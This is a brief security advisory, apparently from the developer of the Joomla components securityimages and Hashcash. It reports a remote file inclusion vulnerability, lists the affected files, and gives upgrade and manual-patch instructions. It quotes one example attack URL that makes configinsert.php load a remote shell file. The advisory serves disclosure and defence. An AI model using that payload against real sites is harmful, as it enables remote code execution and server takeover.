Security risk in securityimages

Here are all files which put your server at risk:
client.php, configinsert.php, lang.php, server.php

Example of attack:
http://web/components/com_securityimages/
configinsert.php?mosConfig_absolute_path=http://shell.txt
from http://securityreason.com/exploitalert/892
Secunia has also a report on it: http://secunia.com/product/11186/

– upgrade to 3.0.6 (download at #Joomla Forge or in my download sections) OR
– patch the faulty files by hand (add defined(‘_VALID_MOS’) or die(‘Direct Access to this location is not allowed.’); at the beginning of each file)

Please also contact all Your friends which are using securityimages!

And for my other components?

Hashcash 1.2.X is also affected: http://secunia.com/product/11046/  and my patch is avalaible!

– upgrade to 1.2.2  (download at #Joomla Forge or in my download sections) OR
– patch the faulty files by hand (add defined(‘_VALID_MOS’) or die(‘Direct Access to this location is not allowed.’); at the beginning of each file)

JoomlaCloud is NOT affected